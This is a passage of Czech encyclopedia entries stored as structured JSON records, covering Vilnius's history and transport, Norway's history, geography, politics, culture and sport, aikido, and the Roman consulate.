červenci 1944 vojáky polské odbojové Armii Krajowej (Zemské armády) během operace Ostrá brána. S polskými povstalci spolupracovaly i některé sovětské jednotky, ovšem po vstupu Rudé armády do města 15. července 1944 byla velká část polských vojáků zatčena NKVD. Po skončení války Sověti z Vilniusu odsunuli (vyhnali) většinu polského obyvatelstva a nahradili je Rusy a Litevci. Od roku 1987 ve městě docházelo k demonstracím proti sovětskému režimu. 13. ledna 1991 došlo ke střetu mezi obyvateli a Sovětskou armádou, která se pokusila obsadit televizní vysílací věž. 14 lidí bylo zabito a přes 700 raněno. Vilnius byl vybrán společně s rakouským Lincem za Evropské hlavní město kultury roku 2009.", "Vilnius je výchozím bodem dálnic Vilnius-Kaunas-Klaipėda (dálnice A1), Vilnius-Panevėžys (dálnice A2), Vilnius-Minsk (dálnice A3), Vilnius-Grodno (dálnice A4), Vilnius-Utena (dálnice A14), Vilnius-Lida (dálnice A15), Vilnius-Marijampolė (dálnice A16). Z mezinárodního letiště Vilnius létají linky do všech významných evropských měst. Vilniuské nádraží, položené blízko historického centra, je rovněž významným dopravním uzlem. Železniční trať vedoucí do běloruského Hrodna a dále do Varšavy je však přerušená. Od roku 2017 je posílena doprava do Minsku elektrifikací trati a nasazením moderních elektrických jednotek. Vlaky odtud jezdí i na letiště. Blízko nádraží, nikoliv však v bezprostředním sousedství, se nachází autobusové nádraží. Řeka Neris je splavná, ale neexistuje žádná pravidelná lodní doprava. Městská hromadná doprava je v současnosti zajišťována trolejbusy a autobusy. Do budoucna je plánován systém městské železnice; za jeho základ lze považovat nynější vlakové spojení do satelitní čtvrti Naujoji Vilnia, kde se nachází i depo elektrických jednotek, a motorové vlaky na mezinárodní letiště." ] }

{ "title": [ "Etymologie.", "Dějiny Norska.", "Geografie.", "Pevninská část.", "Vláda a politika.", "Ekologická politika.", "Problematika ochrany dětí.", "Administrativní dělení.", "Ekonomika.", "Před průmyslovou revolucí.", "Průmyslová revoluce.", "Demografie.", "Kultura.", "Literatura.", "Výtvarné umění.", "Památky.", "Hudba.", "Film.", "Gastronomie.", "Věda.", "Sport." ], "section_level": [ "1", "1", "1", "2", "1", "2", "2", "1", "1", "2", "2", "1", "1", "2", "2", "2", "2", "2", "2", "1", "1" ], "content": [ "Jméno dali Norsku zřejmě staří Gótové nebo Dáni a znamenalo v jejich jazyce „cesta na sever“. V historickém záznamu řeči vikingského náčelníka Ottara k anglickému králi Alfrédovi zhruba v roce 880 je", "Stopy po prvním lidském osídlení archeologové dávají do souvislosti s kulturou zvanou Ahrensburgien (pojmenovanou po vesnici Ahrensburg, ležící 25 km severovýchodně od Hamburku, v německém státě Šlesvicko-Holštýnsko). Tato kultura je lokalizována do severoevropských nížin v období 9. - 7. tisíc let př. n. l. Příslušníci této kultury byly především lovci sobů, kteří žili ve stanech, nebo mírně zahloubených chatách. Užívali štípané hroty s řapíkem, oštěpy a luky. Tyto nejstarší stopy lidského osídlení v Norsku se nacházejí podél pobřeží, kde se po poslední době ledové, mezi léty 11 000 a 8 000 př. n. l., stáhl ledovec. K nejcennějším nálezům patří ty z doby okolo 5000 př. n. l., ze severu Norska, z Finnmarku, zejména z obce Alta, kde byly objeveny pozoruhodné skalní rytiny, znázorňující především lov (dnes součást Světového dědictví UNESCO). Archeologové v souvislosti s těmito nálezy někdy hovoří o kultuře Komsa. Druhé centrum nálezů z této doby se nachází na jihozápadě země, v Rogalandu (kultura Fosna). Velká vzdálenost těchto nálezů vedla dlouho k přesvědčení, že šlo o dvě různé kultury, to však bývá od 70. let 20. století zpochybňováno. Dnes většina historiků předpokládá, že jižní centrum bylo starší a sever byl z tohoto centra osídlen, pochodem po pobřeží. Nálezy z Alty jsou nejrozsáhlejšími skalními kresbami v celé Skandinávii. Prozrazují, že místní obyvatelé doby kamenné byli především lovci a rybáři. Mezi lety 3000 až 2500 př. n. l. dorazili do východního Norska noví osadníci, řazení k tzv. kultuře se šňůrovou keramikou. Byli to indoevropští zemědělci, kteří již pěstovali obilí a chovali krávy a ovce. Lov a rybolov se stal u nich až sekundárním zdrojem obživy. Od roku 1500 př. n. l. jsou zaznamenány stopy po užití bronzu, ovšem bronzové nástroje se zřejmě omezovaly jen na náčelníky. Na skalních rytinách se objevují nové motivy, především sluneční kotouč, který byl patrně uctíván. Výrazným motivem jsou také lodě, zejména typu hjortspring. Také vztyčené kamenné monumenty jsou uspořádány do tvaru, který připomíná loď. Na počátku doby železné (posledních 500 let před naším letopočtem) došlo zřejmě k populační krizi, neboť archeologové nacházejí jen málo pozůstatků. Oživení nastalo zhruba po začátku našeho letopočtu, kdy se obyvatelé Norska dostali do kontaktu s římskou Galií. Bylo nalezeno asi 70 římských bronzových kotlů, často používaných jako pohřební urny. Z kontinentu se také do Norska dostalo patrně runové písmo. Nejstarší známý norský runový nápis pochází ze 3. století. K nejstarším užívaným slovům patří \"vik\" označující fjord či záliv. Právě toto slovo se stalo také kořenem pojmu Viking. O Vikinzích historici hovoří od 8. století, kdy začaly jejich výboje. Za mezník je obvykle pokládáno vikingské přepadení kláštera v Lindisfarne na severovýchodě Anglie v roce 793. Vikingové pak pronikli takřka do všech částí Evropy a také na pobřeží dnešní Kanady. Vikingové z území dnešního Norska byli nejvíce aktivní na britských ostrovech a východních ostrovech Severní Ameriky. Dnešní irská města Dublin, Limerick a Waterford byla založena právě osadníky z Norska. Norští Vikingové v 9. století osídlili také Faerské ostrovy, Orkneje a Island. Roku 985 založili první osady v Grónsku. V norském národním povědomí je klíčovým rok 872, kdy Harald I. Krásnovlasý, po bitvě u Hafrsfjordu (nedaleko Stavangeru), jako první sjednotil většinu norského území a stal se prvním norským králem. Centrum Haraldovy říše bylo na jižním pobřeží. Po Haraldovi se moci chopil jeho syn Erik Krvavá sekyra, po jeho sesazení pak další z Haraldových synů Haakon I. Norský. Ten již začal koketovat s křesťanstvím. Christianizaci však zabránilo to, že se moci po Haakonově smrti ujali velcí ctitelé severských tradic Harald II. Norský a Haakon Sigurdsson. Až Olaf I. Tryggvason znovu začal v zemi prosazovat křesťanství, a to často velmi násilně. Postavil také první kostel, roku 995 v Mosteru. Olaf I. Tryggvason proslul též jako vikingský dobyvatel, když s 390 loděmi napadl Anglii a oblehl Londýn. V jeho christianizačním díle pokračoval jinak poměrně neúspěšný panovník Olaf II. Norský, později prohlášený za svatého. Jeho nástupce Knut Veliký pak Norsko prvně v jeho historii zapojil do vícenárodní říše, tzv. Severské říše, avšak jen nakrátko. Po něm se znovu prosadili lokální vůdci. Velkým problémem norského státu bylo nástupnictví. Tradice dávala právo nastoupit na trůn všem královým synům, což vedlo k mnoha bojům a také posilovalo církev, která si činila nárok do otázky nástupnictví mluvit. Sérii norských občanských válek ukončil až roku 1217 Haakon IV. Norský, který nastolil jasný nástupnický řád. Jeho vláda byla ve znamení míru, konsolidace monarchie a definitivního sjednocení země. Období jeho panování je považováno za vrcholné období středověkého Norska. Rozvoj pokračoval i ve 14. století, ačkoli třeba epidemie moru v roce 1349 vyhubila třetinu obyvatelstva. Společenská struktura, která se během vrcholného středověku v Norsku vytvořila, nebyla typicky feudální (jako i v jiných skandinávských zemích). Král a šlechta sice získali mnoho pozemků a původně nezávislí zemědělci se stali jejich nájemci, avšak zůstali v mnohem svobodnějším postavení než poddaní na kontinentě.", "Norsko se rozkládá v severní Evropě na západní straně Skandinávského poloostrova a na mnoha ostrůvcích v Severním moři, Norském moři, Barentsově moři a Severním ledovém oceánu. Pevninskými ostrovy jsou Lofoty a severněji ležící Vesterály. K Norsku také patří: Kromě toho si Norsko nárokuje část území Antarktidy – Zemi královny Maud a ostrov Petra I.", "Kontinentální část Norska leží mezi 58° s. š. (Lindesneský maják ) a sahá až k nejsevernějšímu výběžku pevninské Evropy na Nordkinnu. Tato místa jsou od sebe vzdálená 1700 km. Reliéf Norska byl modelován mnoha ledovci, na západním pobřeží jsou četné fjordy, které vznikly zatopením ledovcových údolí. Pobřeží je členitá, příkrá a fjordová s mnoha drobnými ostrovy a zálivy. K jihovýchodu je pobřeží méně členité a pozvolné, ale přemodelování ledovci je také patrné. Celým Norskem se od jihu táhne Skandinávské pohoří s recentním zaledněním. Nejvyšší horou je Galdhøpiggen s 2469 metry nad mořem. Ve Skandinávském pohoří se nachází největší ledovec kontinentální Evropy Jostedalsbreen. Podnebí Norska je ovlivněno oceánem, zejména systémem Golfského proudu. Nejvýrazněji se projevuje větev Norského proudu. Jižní oblasti Norska jsou řazeny k mírně teplému, vlhkému podnebí západních pobřeží, v Köppenově klasifikaci", "Norsko je konstituční monarchií, jejíž oficiální hlavou je král. Současným panovníkem je od roku 1991 král Harald V. (narozen 21. února 1937), po jeho smrti na trůn nastoupí jeho syn Haakon Magnus (nar. 20. července 1973). Moc zákonodárná je v rukou parlamentu – \"Stortingu\", který je volen na čtyři roky. Moc výkonná je v rukou norské vlády v čele s ministerským předsedou. Král je nejen hlavou Norského království, ale stojí také v čele Norské církve, je vrchním velitelem Norských ozbrojených sil a plní reprezentativní funkce. Vládnoucí panovník je také Velmistrem Norského královského řádu svatého Olafa. Norský parlament sídlí v Oslu. \"Storting\" se dělí na \"Lagting\" (horní komora) a \"Odelsting\" (dolní komora). Počet křesel ve \"Stortingu\" se měnil: v roce 1882 měl 114 křesel, v roce 1903 117, v roce 1906 123, v roce 1918 126, v roce 1921 150, v roce 1973 155, v roce 1985 157, v roce 1989 165 a od roku 2005 má 169 křesel.", "Norsko má podobně jako další skandinávské země aktivní politiku ochrany životního prostředí. V poslední době zavedlo např. zákonné restrikce týkající se rtuti nebo bromovaných zpomalovačů hoření, opatření pro snížení emisí oxidů dusíku nebo projekt zachycování a ukládání oxidu uhličitého. Norsko také navrhlo zařazení hexabromcyklododekanu", "Ochrana dětí a jejich práv v Norsku je zdrojem velkých kontroverzí – někteří ji chválí a mluví o její vysoké úrovni, jiní ji naopak odsuzují a mluví o hrubém porušování práv dětí i rodičů. Kvůli mezinárodně známým sporným případům je země obviňována, že v ní dochází k plánovitému odebírání dětí kvůli finančnímu zabezpečení osvojitelů, které v Norsku činí až 30 000 eur ročně. V roce 2007 Evropský soud pro", "Od 1. 1. 2020 je Norsko rozděleno na 11 krajů (: \"fylke\", pl. \"fylker\"), do roku 1918 známých jako \"amt\", pl. \"amter\", a 356 samosprávných obcí (\"kommune\", pl. \"kommuner\"). Hlavní město Oslo je považováno za kraj a samosprávné město. V každém", "Norsko je rozvinutý průmyslový stát s výraznou odvětvovou specializací. Významnou roli hraje rybolov, těžba dřeva, těžba ropy a zemního plynu, a dalších nerostných surovin. Především kvůli případnému omezení těžby ropy a rybolovu Norsko opakovaně odmítlo vstup do EU. Norsko je velkým výrobcem poměrně čisté elektrické energie, která se z více než 99 % vyrábí v hydroelektrárnách.", "Před průmyslovou revolucí bylo norské hospodářství založeno převážně na zemědělství a rybolovu. Norové žili v nedostatku, ale hladomory byly vzácné. Kromě několika úrodných oblastí v Hedemarken a Østfold se zemědělská výroba omezovala na obiloviny – oves, žito a ječmen, a hospodářská zvířata – ovce, kozy, skot, prasata a drůbež. Na některých místech bylo zemědělství doplněno lovem. V severním Norsku (Finnmarka) žije národnostní menšina Sámové, jejíž příslušníci kočovali a kočují se stády sobů, jiní Sámové soby chovají a věnují se rybolovu. Sámové mají právo používat vlastní jazyk sámegiella,", "Kromě dolů v Kongsbergu a Rørosu přicházela industrializace v podobě prvních textilních továren, které byly v Norsku budovány v polovině 19. století. První velké průmyslové podniky byly budovány kolem vodních zdrojů. Samem Eydem bylo roku 1905 založeno Norsk Hydro a průmyslové společnosti začaly růst na místech jako je Rjukan, Odda a jinde. V roce 1910 norská průmyslová výroba přesáhla výrobu", "Etnicky jsou obyvatelé Norska hlavně Norové, ale na severu země žije i původní komunita Sámů (Laponců). V lednu roku 2015 překročil počet obyvatel 5 milionů, z nichž má zhruba 16 % (805 000) zahraniční původ. Na počátku roku 2015 žilo v Norsku 92 000 Poláků, kteří tak vytvořili nejsilnější přistěhovaleckou skupinu. V Norsku žije přibližně 450 000 lidí neevropského původu, včetně 36 000 Pákistánců, 38 000 Somálců", "", "Norská literární věda hovoří o „Velké čtyřce“ klasických norských spisovatelů. Patří do ní Henrik Ibsen, Bjørnstjerne Bjørnson, Jonas Lie a Alexander Kielland. Bjørnson získal i Nobelovu cenu za literaturu, stejně jako Sigrid Undsetová a Knut Hamsun. Zakladatelem moderní norské literatury je Ludvig Holberg. K průkopníkům", "Prehistorii norského výtvarného umění lze vysledovat až ke Skalním rytinám v Altě. Objeveny byly až roku 1973, což způsobilo senzaci, neboť v Norsku mnoho jiných prehistorických památek nalezeno nebylo. Stáří nejstarších rytin bylo určeno na 4200 let př. n. l. V roce 1985 byly rytiny zapsány na seznam světového dědictví UNESCO. Nejslavnějším norským malířem je bezpochyby Edvard Munch. Jeho obraz \"Výkřik\" patří nejen k hlavním symbolům modernistického umění (v tomto případě expresionistického), ale i k nejznámějším obrazům světa vůbec. K vidění je dnes v Munchově muzeu v Oslu. Theodor Kittelsen se proslavil v Norsku jako ilustrátor starých bájí a lidových pověstí. Nejznámějším sochařem je Gustav Vigeland, proslul především svou instalací 212 bronzových a žulových soch v parku \"Frognerparken\" v Oslu (\"Vigelandsanlegget\") a", "Roubený kostel v Urnesu, postavený ve 12. století, se dostal na seznam Světové dědictví. Tradičním severským druhem roubených kostelů byly tzv. sloupové. Typickou ukázkou takové stavby je sloupový kostel v Borgundu. Nejvýznamnější sakrální stavbou Norska je ovšem Nidaroský dóm v Trondheimu, největší gotický chrám v celé Skandinávii, kde byli korunováni norští králové. Ke slavnostním účelům dnes královská rodina a vláda používá zejména katedrálu v Oslu, postavenou v 17. století. Významnou středověkou gotickou památkou je i katedrála ve Stavangeru a hrad Akershus v Oslu, kde původně sídlili norští králové, ale k tomuto účelu od 19.", "Světově proslulým hudebním skladatelem je Edvard Grieg. Ke známým skladatelům patří i Johan Svendsen. Z interpretů lze vzpomenout operní pěvkyni Sissel Kyrkjebø. V populární hudbě se prosadila v 80. letech synthpopová skupina A-ha s frontmanem Mortenem Harketem. Mezinárodní verzi soutěže Pop Idol vyhrál Kurt Nilsen. V současnosti se v populární hudbě prosazuje například Alexander Rybak. Úspěšná je také dívčí skupina Katzenjammer a z mladší generace duo Marcus & Martinus. Celosvětově úspěšným se stal DJ Alan Walker a to především svým hitem \"Faded\" z roku 2015. V Norsku jsou populární také hard rockové skupiny jako například Gluecifer nebo", "Na Oscara byl nominován režisér Morten Tyldum. Ve filmech švédského režiséra Ingmara Bergmana se proslavila norská herečka Liv Ullmannová. Mezinárodního úspěchu dosáhl norský televizní seriál \"Okupace\" (\"Okkupert\") z let", "Většinou se tvrdí, že skandinávská kuchyně je velice „obyčejná“ – skromná, málo nápaditá. Pravdou je, že ta norská se snaží myslet velmi tradičně. Používají se postupy a suroviny známé už z dob Vikingů, hlavní surovinou jsou různá masa – klasické je maso jehněčí a zvěřina jako sob a los. Masa se upravují hlavně vařením ve vodě nebo pečením. Tradičními recepty jsou \"fårikål\" – pečené jehněčí, \"finnbiff\" – vařené sobí maso s houbami a krémovou omáčkou, \"elggryte\" – vařené losí maso s cibulí a jalovcem. V", "Proslavená je norská matematická škola. Jedním z nejvýznamnějších světových matematiků byl Niels Henrik Abel, věnoval se zejména funkcionální analýze. Sophus Lie vytvořil teorii spojité symetrie, Atle Selberg se věnoval rozvíjení teorie čísel, Caspar Wessel jako první nabídl geometrickou interpretaci komplexních čísel, Peter Ludwig Mejdell Sylow rozvinul teorii grup, Axel Thue je označován za zakladatele formálních jazyků. Není tudíž divu, že rozvinutá je tradičně v Norsku (jako i v jiných skandinávských zemích) také informatika. Například programátoři Ole-Johan Dahl", "Norsko vede historickou medailovou tabulku zimních olympijských her. Osm zlatých olympijských medailí má biatlonista Ole Einar Bjørndalen, běžec na lyžích Bjørn Dæhlie a lyžařka Marit Bjørgenová. Společně tak drží rekord v počtu zlatých medailí ze zimních her. Pět zlatých má lyžař Thomas Alsgaard, čtyři biatlonista Emil Hegle Svendsen, sjezdař Kjetil André Aamodt a rychlobruslaři Ivar Ballangrud a Johann Olav Koss. K legendárním sportovcům patří i krasobruslaři Axel Paulsen a Sonja Henie, rychlobruslař Hjalmar Andersen, sjezdaři Aksel Lund Svindal a Lasse Kjus, maratonská běžkyně Grete Waitzová, kanoista Knut Holmann nebo oštěpař Andreas Thorkildsen. K nejlepším šachistům současnosti patří velmistr Magnus Carlsen. Velmi úspěšní jsou Norové v házené, norská házenkářská reprezentace žen vybojovala dvakrát zlato na olympijských hrách (2008, 2012), tři tituly mistryň světa (1999, 2011, 2015) a sedmkrát triumfovala na mistrovství Evropy. Trine Haltviková, Cecilie Legangerová, Linn Kristin Riegelhuthová, Gro Hammersengová a Heidi Løkeová byly vyhlášeny nejlepšími házenkářkami světa. Norské ženy jsou úspěšné i ve fotbale, vyhrály mistrovství světa (1995), olympijský turnaj (2000) i evropský šampionát (1987, 1993). K nejúspěšnějším norským mužským fotbalistům patří John Arne Riise, Tore André Flo, Ronny Johnsen či Ole Gunnar Solskjær. V Norsku byly dvakrát uspořádány zimní olympijské hry, v roce 1952 v Oslu a roku 1994 v Lillehammeru." ] }

{ "title": [ "Historie.", "Technika.", "Zbraně.", "Technické stupně.", "Soutěže." ], "section_level": [ "1", "1", "1", "1", "1" ], "content": [ "Již na počátku devátého století na císařském dvoře vznikly základy bojového umění, ze kterého později vzniklo aikido. Byly to metody úderů a tlaků na nervová centra ve spojení s páčením kloubů a využíváním pohybu útočníka. Toto umění se nazývalo aikijujutsu a později neslo označení Daito ryu. Kořeny tohoto umění vycházejí z rodokmenové linie starého samurajského rodu Minamoto, který byl velmi významným v dějinách japonské historie. Za jeho tvůrce a zakladatele je však považován Morihei Uešiba (Ó-sensei), který do něho zařadil i techniky z různých dalších stylů, které studoval. Původní Daito ryú je přes to zastoupeno v Aikidu v těchto dobách asi z 95 %. Po jeho smrti pokračoval v rodinné tradici jeho syn Kišomaru Uešiba, který se zasloužil o počátky šíření aikida mimo Japonsko. V současné době udržuje rodinnou tradici vnuk zakladatele – současný Doshu Moriteru Uešiba. Linie či styl reprezentovaný rodinou Uešiba je označován jako aikikai, někteří přímí žáci zakladatele ovšem zakládají vlastní styly a školy (Iwama-Ryu, Ki-Aikido, Yoshinkan, Nishio-Ryu atd.). Centrálním dódžó v rámci linie aikikai je \"Honbu dódžó\" (Hombu dojo) v Tokiu, ve kterém vyučují členové rodiny Uešiba. První evropskou zemí, odkud se aikido začalo dále šířit po starém kontinentu, byla Francie. V počátcích většinou aikidistické oddíly vznikaly při judistických oddílech. První generace evropských aikidistů z 60. a 70. let měla většinou za sebou judistickou či karatistickou minulost. Mnozí vrcholoví judisté a karatisté se po skončení své sportovní kariéry věnují aikidu jako blízké nesoutěžní formě bojového umění, které je založeno na podobných principech a přitom nevyžaduje příliš velké svalové vypětí. Zřejmě nejvíce se o popularizaci aikido mimo Japonsko zasloužil americký herec Steven Seagal (7. dan). Jedním ze známých evropských šihanů je např. Christian Tissier (Francie, 7. dan)", "Kromě úderů, pák a hodů se protivníkovy akce ruší horizontálními, vertikálními a diagonálními, cirkulárními, sférickými i spirálovými pohyby kolem boků obránce. Výuka se týká základních pohybů (tai-sabaki) a pádů (ukemi), samotných technik v postoji (tači-waza) i vkleče (suwari-waza) a práce s tradičními zbraněmi (nůž – tantó, meč – bokken, hůl – džó). Popisy konkrétních technik přesahují rámec článku a navíc se jednotlivé styly, učitelé i názvy technik můžou podstatně lišit. Aikidó vyučované před rokem 1945 (tehdy se tak nejmenovalo, šlo o Daito ryú Aikijujutsu, Ueshiba ryu a pod.) bylo více přímé, vyžadovalo více síly a nepotřebovalo moc místa k provedení techniky. Aikido tak jak se běžně vyučuje dnes, je více \"taneční\" a \"plovoucí\". Vyžaduje hodně místa.", "V aikido se učí i boj s nožem (tantó), dřevěným mečem (bokken) (případně shinken – ostrý meč = katana nebo iai – podobná konstrukce jako katana, ale bez ostré čepele) a tyčí (džó). Styly, které nejvíce pracují se zbraněmi, jsou Iwama-ryu a styl vyučovaný Shodži Nishiem (a po jeho smrti jeho následovníky). Práce se zbraněmi vychází z tradičních japonských bojových umění (například iaidó), ale je přizpůsobena myšlenkám a technikám aikido (někdy je tedy pro odlišení například cvičení s mečem označováno jako aikiken, s tyčí aikidžó).", "Stupně aikido jsou dvojího typu. Začínají tzv. \"Kjú\" stupni, kterých je šest (počínaje šestým až k prvnímu), některé styly mají technických stupňů pouze pět, některé jich naopak mají ještě více. Poté následuje deset tzv. \"Dan\" stupňů, které jsou počítány vzestupně.", "Mnozí mistři Budó neviděli přínos soutěží k rozvoji člověka a proto si i Mórihei Ueshiba nepřál degradaci aikido na sport pořádáním zápasů a soutěží. Základní myšlenkou aikida je hledání harmonie (rovnováhy v životě, míru, středu) ve které rivalita a soutěživost, nezbytné součásti sportovních klání, nemají místo. Techniky Aikido nejsou soutěžního charakteru, jsou určeny k přežití za všech okolností. Původně bylo jejich účelem zabít, správný Aikidoka si je této stránky vědom a se smrtí si nezahrává. Jediný styl, který do své náplně, i přes odpor Ó-senseie, zařadil soutěže, je Tomiki (správně Shodokan) Aikido založené Kenji Tomikim. Yoshinkan Aikido pořádá soutěže v katách." ] }

{ "title": [ "Konzulát za republiky.", "Vývoj úřadu.", "Kompetence.", "Pravomoci v civilní oblasti.", "Pravomoci ve vojenské oblasti.", "Ochrana před zneužitím moci.", "Jmenování diktátora.", "Prokonzul.", "V době císařství." ], "section_level": [ "1", "2", "2", "3", "3", "2", "2", "2", "1" ], "content": [ "", "Po legendárním svržení posledního etruského krále Tarquinia Superba a zániku římského království byla všechna zákonná moc krále svěřena novému úřadu – konzulátu. Od tohoto okamžiku stáli v čele státu konzulové, kteří byli nejprve nazýváni praetoři („ti, kdož kráčí v čele“), což poukazuje na jejich povinnost sloužit jako nejvyšší velitelé vojska. Označení konzulové se začalo používat zřejmě někdy v druhé polovině 5. století př. n. l. Římané věřili, že vznik konzulátu se datoval do doby založení republiky v roce 509 př. n. l., avšak posloupnost konzulů v 5. století př. n. l. vykazuje jisté mezery. Konzulům náležely v časech míru široké pravomoci (v záležitostech exekutivy, zákonodárství a soudnictví). Uchazeči o úřad museli splnit věkový limit pro volbu, jenž činil 41 let u patricijů a 42 let pro plebeje. Každoročně (princip annuity) byli voleni dva konzulové (princip kolegiality), kteří mohli uplatnit právo veta vůči jakémukoliv rozhodnutí svého kolegy. Toto oprávnění bylo ovšem využíváno jen velice zřídka. Podobně existuje mnoho dokladů svědčících o tom, že ne všichni konzulové byli zvoleni po dosažení stanoveného minimálního věku. Volba konzulů příslušela setninovému shromáždění (\"comitia centuriata\"), jehož struktura ale zaručovala rozhodující vliv aristokratům. Po potvrzení svého zvolení konzulové oficiálně převzali moc od staršího kurijního shromáždění (\"comitia curiata\"), které udělovalo konzulům jejich \"imperium\". To se dělo přijetím zákona \"„lex curiata de imperio“\". Jestliže jeden z konzulů během svého volebního období zemřel (což nebylo nijak neobvyklé, neboť konzulové leckdy bojovali v předních řadách vojska), byl zvolen náhradník, takzvaný \"consul suffectus\". Řádný konzul (\"consul ordinarius\") se od roku 153 př. n. l. ujímal úřadu 1. ledna a náležela mu čest, aby se jeho jméno a jméno jeho kolegy objevilo v pojmenování příslušného roku. Konzulát byl původně vyhrazen patricijům a teprve v roce 367 př. n. l. získali taktéž plebejové právo kandidovat na tento nejvyšší úřad poté, co bylo zákonem \"Lex Licinia Sextia\" stanoveno, že nejméně jeden z konzulů musí být plebej. Prvním plebejským konzulem se stal již v následujícím roce Lucius Sextius. Někteří moderní historikové však tradiční líčení o průběhu boje za zrovnoprávnění plebejů v dobách rané republiky zpochybňují, přičemž upozorňují na skutečnost, že zřejmě okolo třiceti procent konzulů před Sextiem mělo plebejská, nikoliv patricijská jména. Nicméně tato skutečnost může být důsledkem zkreslené chronologie konzulů. Současně se ale naskýtá ještě jiné vysvětlení, podle něhož si patricijské elity přístup k tomuto úřadu v průběhu společenských bojů v 5. století př. n. l. postupně uzurpovaly. V období vojenského ohrožení byla primárním kritériem pro výběr konzulů především vojenská reputace a zkušenosti kandidátů, volba však byla vždy předmětem značného politického zápasu. Konzulát se postupem doby (patrně kolem poloviny 4. století př. n. l.) stal vrcholem politické kariéry (\"cursus honorum\") ambiciózních Římanů, ačkoliv nebyl nijak odměňován. Naopak se očekávalo, že nositel tohoto úřadu sám přispěje částí svého majetku státní pokladně. Někdejší konzulové, \"consulares\", tvořili skupinu nejvlivnějších členů římského senátu. Od dob pozdní republiky se zastávání tohoto úřadu v podstatě rovnalo přijetí mezi římskou nobilitu.", "Po vypuzení králů přešla funkce nejvyššího náboženského činitele státu na úředníka zvaného \"rex sacrorum\" („král posvátných obřadů“), zatímco všechna králova moc v oblasti civilní a vojenské (\"imperium\") byla přenesena na konzulát. Aby se předešlo královládě či jinému zneužití této moci, imperium sdíleli dva konzulové, kteří mohli vzájemně vetovat svá rozhodnutí. Konzulové byli nadáni nejvyšší exekutivní mocí ve státě. Zpočátku měli velmi rozsáhlé pravomoci. Teprve v průběhu pozvolného vývoje římského republikánského systému byla řada důležitých činností vyjmuta z kompetence konzulů a svěřena nově vzniklým úřadům. V roce 443 př. n. l. tak bylo provádění censu přeneseno na úřad censora. V roce 366 př. n. l. byly konzulům odňaty kompetence v oblasti soudnictví. Jejich postavení nejvyšších soudců od nynějška zaujímali praetoři. Od tohoto momentu mohli konzulové působit jako soudci pouze v mimořádně závažných případech, a to pouze pokud k tomu byli pověřeni usnesením senátu (\"senatus consultum\").", "Pokud se konzulové nacházeli vně posvátných hranic města Říma (\"pomerium\"), byly jim podřízeny všechny ostatní magistratury, kromě tribunů lidu. Vnitřní fungování republiky podléhalo dozoru konzulů. V rámci exekutivy zodpovídali za realizaci usnesení senátu a zákonů schválených v lidových shromážděních (\"comitia\"). Za výjimečných okolností směli činit rozhodnutí sami, na vlastní zodpovědnost. Konzulové působili jako hlavní diplomaté římského státu. Před svým vystoupením v senátu se s nimi setkávali zahraniční vyslanci. Konzulové mohli vyslance uvést do senátu anebo v roli zprostředkovatele řídit jednání mezi senátem a cizím státem. Konzulové svolávali senát a předsedali schůzím senátorů. Stejné povinnosti jim příslušely i ve vztahu ke comitia centuriata a comitia curiata. V lidových shromážděních měli konzulové navíc na starosti řízení hlasování a rovněž zde předkládali návrhy zákonů. Jestliže konzulové pobývali mimo město, jejich úkoly plnil na místo nich praetor. Konzulům náleželo také právo předvolat občany k soudu a vsadit je do vazby. Proti jejich rozhodnutí bylo však možné se odvolat. Konzulové dále prováděli různé náboženské úkony (zasvěcení chrámů, konání obětí) včetně určitých obřadů, které mohly být na znamení formálního stvrzení uskutečněny pouze nejvyššími představiteli státu. Taktéž vykonávali \"auspicia\", jež byly nezbytnou ceremonií předtím, než vojsko vytáhlo do pole. Mezi vnější odznaky konzulů patřilo právo sedět na kurulském křesle a \"toga praetexta\". Každý konzul byl na veřejnosti doprovázen dvanácti liktory, kteří ztělesňovali důstojnost jeho úřadu a zároveň působili jako jeho tělesní strážci. Liktoři nesli svazky prutů (\"fasces\") se sekerami uvnitř. Pruty symbolizovaly oprávnění trestat a sekery pravomoc vynášet rozsudek smrti. Uvnitř pomeria liktoři ovšem sekery nosit nesměli, což poukazovalo na skutečnost, že žádný římský občan nemohl být popraven bez soudu. Na jednání lidového shromáždění museli liktoři odložit i pruty, čímž se dávalo najevo, že moc konzulů je odvozena z lidu (\"populus romanus\").", "Mimo hradby Říma vystupovali konzulové především v roli velitele legií, k jejichž shromáždění bylo zapotřebí usnesení senátu. Vlastní odvody, jež se konaly na Martově poli (\"Campus Martius\"), prováděli konzulové. Po vstupu do vojska museli všichni legionáři složit konzulům přísahu věrnosti. Konzulové také dohlíželi na shromáždění vojenských sil poskytovaných římskými spojenci. Během vojenského tažení mohl konzul uložit jakýkoliv trest kterémukoliv vojákovi či důstojníkovi, občanovi i spojenci. Každý konzul velel jednomu vojsku, v čemž mu byli nápomocni vojenští tribunové a quaestor, který spravoval pokladnu. Konzulské vojsko čítalo obvykle zhruba 20 000 mužů a bylo tvořeno dvěma legiemi a stejně početnými sbory spojenců. V řídce se vyskytujících případech, kdy konzulové táhli společně v čele vojska, se ve velení obden střídali. Jestliže se konzulovi podařilo dosáhnout drtivého vítězství nad nepřítelem, byl svými vojáky pozdraven jako imperátor a mohl požádat o přiznání triumfu. Během tažení disponoval konzul neomezenými pravomocemi, nicméně po skončení svého volebního období mohl být za případné přečiny předvolán k soudu.", "Oba konzulové měli právo vetovat rozhodnutí svého kolegy. V případě společného velení pak museli jednat jednomyslně. Proti rozsudku vyneseném jedním z konzulů bylo možné se odvolat k jeho kolegovi, který mohl inkriminovaný rozsudek zrušit. Aby se předešlo zbytečným konfliktům, každý měsíc směl plnit své povinnosti pouze jeden z konzulů. To ovšem neznamená, že druhý z konzulů neměl žádnou moc, nýbrž to, že přímo nezasahoval do práce svého kolegy. Po měsíci se konzulové ve svých rolích vyměnili. Toto střídání pokračovalo až do uplynutí jejich volebního termínu. Hlavním omezením moci konzulů bylo roční trvání jejich úřadu. Jejich úkoly byly navíc předběžně projednávány senátem. Dále se konzulové nesměli opětně ucházet o konzulát ihned po uplynutí svého volebního období. Po skončení konzulátu musela obyčejně následovat desetiletá prodleva před další kandidaturou na tento úřad.", "Jestliže byl římský stát ohrožen nějakým bezprostředním vnějším či vnitřním nebezpečím, mohli konzulové jmenovat diktátora na návrh senátu. V době, kdy diktátor vykonával svůj úřad, bylo imperium konzulů pozastaveno.", "Zhruba od 2. století př. n. l. byla konzulům po skončení jejich ročního úřadování přidělována provincie, již spravovali jménem Senátu a lidu římského. Příslušnou provincii si konzulové vybírali ještě před skončením svého úřadu. Jejich konzulské imperium se změnilo na prokonzulské a z konzulů se následně stali prokonzulové, kteří v zájmu Říma spravovali jednu (či 